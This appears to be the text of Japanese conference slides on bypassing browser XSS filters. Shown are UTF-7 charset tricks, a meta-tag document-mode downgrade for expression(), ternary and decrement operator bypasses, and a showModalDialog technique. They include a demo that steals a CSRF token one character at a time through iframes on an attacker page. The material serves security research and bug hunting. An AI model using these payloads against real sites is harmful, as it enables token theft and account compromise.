遮断を使ってバイパス(2012) "<a href=javascript&.x3A;alert&(x28;1&)x29;//=>XSS なにが起きる? ";abc()// 区切り 関数の実行 ";a.b=// 区切り
プロパティアクセス後の代入
遮断を使ってバイパス(2012) "<a href=javascript&.x3A;alert&(x28;1&)x29;//=>XSS ブラウザのXSS保護機能をバイパスする(3) http://masatokinugawa.l0.cm/2012/09/xss3.html "<a href=javascript:alert(1)//=>XSS 遮断後 遮断によってjavascript:のリンクに! :
: ( ( ) )
ドキュメントモードが高いので動かない... サイボウズLiveで実際にできたもの。 expression()は書けたものの... <meta http-equiv="X-UA-Compatible" content="IE=edge"
/> ・・・ <p style="x:exp/*[0x0A]*/ression(alert(1))"> https://cybozulive.com/xss フィルターを攻撃へ活用する
metaタグが破壊されドキュメントモードが降格 ありがとうXSSフィルター! 😉 そんなときこそXSSフィルター! https://cybozulive.com/xss?<meta+http-equiv=> <m#ta http-equiv="X-UA-Compatible"
content="IE=edge" /> ・・・ <p style="x:exp/*[0x0A]*/ression(alert(1))"> フィルターを攻撃へ活用する
フィルターを攻撃へ活用する HTTP/1.1 200 OK Server:
nginx Date: Mon, 03 Aug 2015 14:34:24 GMT Content-Type: text/html;charset=UTF-8 Connection: keep-alive Vary: Accept-Encoding Cache-Control: private X-Cybozu-Status-Code: 200 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=315360000; includeSubDomains; preload; X-UA-Compatible: IE=Edge X-Content-Type-Options: nosniff Content-Length: 143557 現在はヘッダでも指定している模様
文字コードを使ったバイパス HTTP/1.1 200 OK Content-Type:
text/html <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html;charset=UTF-8"> </head> <body> XSS HERE: <meta charset=utf-7>+ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxA CkAPAAvAHMAYwByAGkAcAB0AD4- </body> </html> http://example.com/xss?q=<meta+charset=utf-7>%2BADwAc wBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwBy AGkAcAB0AD4- 選択されるcharset
文字コードを使ったバイパス http://example.com/xss?q=<meta+charset=utf-7>%2BADwAc wBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwBy AGkAcAB0AD4-&<meta+http-equiv=> HTTP/1.1 200 OK Content-Type:
text/html <!DOCTYPE html> <html> <head> <m#ta http-equiv="Content-Type" content="text/html;charset=UTF-8"> </head> <body> XSS HERE: <meta charset=utf-7>+ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxA CkAPAAvAHMAYwByAGkAcAB0AD4- </body> </html> 選択されるcharset
文字コードを使ったバイパス +ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAA vAHMAYwByAGkAcAB0AD4- <script>alert(1)</script> UTF-7からデコード {<ME{T}A[ /+t].*?((http-equiv)|(charset))[ /+t]*=} 現在は
"<meta charset=" も遮断
遮断後 <script> var q="";if#1#{true}else{false}//" </script> <form name=form> <input
type=hidden name=token value=f9d150048b> </form> <script> var q="";if(1){true}else{false}//" </script> if文は遮断される 三項演算子 & デクリメント演算子 でバイパス(2014)
<form name=form> <input type=hidden
name=token value=f9d150048b> </form> <script> var q="";1?true:false//" </script> if(1){true}else{false} 同じ意味 1?true:false 三項演算子は遮断されない 三項演算子 & デクリメント演算子 でバイパス(2014)
遮断後 <script> var q="";lo#ation=location-1//" </script> <form name=form> <input
type=hidden name=token value=f9d150048b> </form> <script> var q="";location=location-1//" </script> locationへの代入は遮断される 三項演算子 & デクリメント演算子 でバイパス(2014)
<form name=form> <input type=hidden
name=token value=f9d150048b> </form> <script> var q="";location--//" </script> デクリメント演算子なら遮断されない location=location-1 location-- 同じ意味 三項演算子 & デクリメント演算子 でバイパス(2014)
<form name=form> <input type=hidden
name=token value=f9d150048b> </form> <script> var q="";"a"==form.token.value[0]?top.TRUE.location. search--:top.FALSE.location.search--//" </script> こんなふうにもかいても遮断されない if("a"==form.token.value[0]){ top.TRUE.location.search--; }else{ top.FALSE.location.search--; } 以下と同じ意味 三項演算子 & デクリメント演算子 でバイパス(2014)
if("a"==form.token.value[0]){ top.TRUE.location.search--; }else{ top.FALSE.location.search--; } <iframe src=http://victim/ id=TRUE></iframe> <iframe
src=http://victim/ id=FALSE></iframe> <iframe src=http://victim/xss?q=";[code]//></iframe> http://attacker/exploit.html top.*はそれぞれ、親の持つ別のフレームを参照させている 三項演算子 & デクリメント演算子 でバイパス(2014)
if("a"==form.token.value[0]){ top.TRUE.location.search--; }else{ top.FALSE.location.search--; //こっちへ } tokenの1文字目は「a」ではないので偽の分岐へ top.FALSE.location.search =
top.FALSE.location.search - 1 以下が実行されることにより、 FALSEのフレーム内でナビゲーションが発生 http://victim/ http://victim/?-1 navi 三項演算子 & デクリメント演算子 でバイパス(2014)
攻撃者は TRUE・FALSE、それぞれのフレームに loadのイベントリスナを設定しておく この時点で攻撃者は「tokenの1文字目はaでない」と知れる 今回であればまずFALSEのフレームの遷移でloadが発生する token取得のデモ: http://l0.cm/xssfilter_bypass/ 条件部を "b"==form.token.value[0]
のように変えて 試行を繰り返していけば、tokenの取得も可能 三項演算子 & デクリメント演算子 でバイパス(2014)
showModalDialog()を つかったバイパス(2015) http://attacker/opener.html <script> ret=showModalDialog("redirector"); alert(ret); </script> http://attacker/redirector Location: ヘッダでリダイレクト http://victim/xss?q=";[code]// <form name=form> <input
type=hidden name=token value=f9d150048b> </form> <script> var q="";returnValue=form.token.value//" </script> http://masatokinugawa.l0.cm/2015/06/xss6.html詳細は:
ハントの秘訣 [ 過去の失敗を知ろう ] 過去の修正済みの脆弱性をじっくりみてみよう 修正後に詳細情報が公開されているものはたくさんある 大抵の脆弱性は形を変えたよく似た失敗 探すべきポイントがみえてくる
僕が心がけていること 「知らなきゃ」より「知りたい」でうごく 流行だけを気にしない 古くて誰も使っていないような技術でも調べてみる
最後に バグハントに一番必要なもの 根気
さあ、 バグハントに出掛けよう!
Advertisement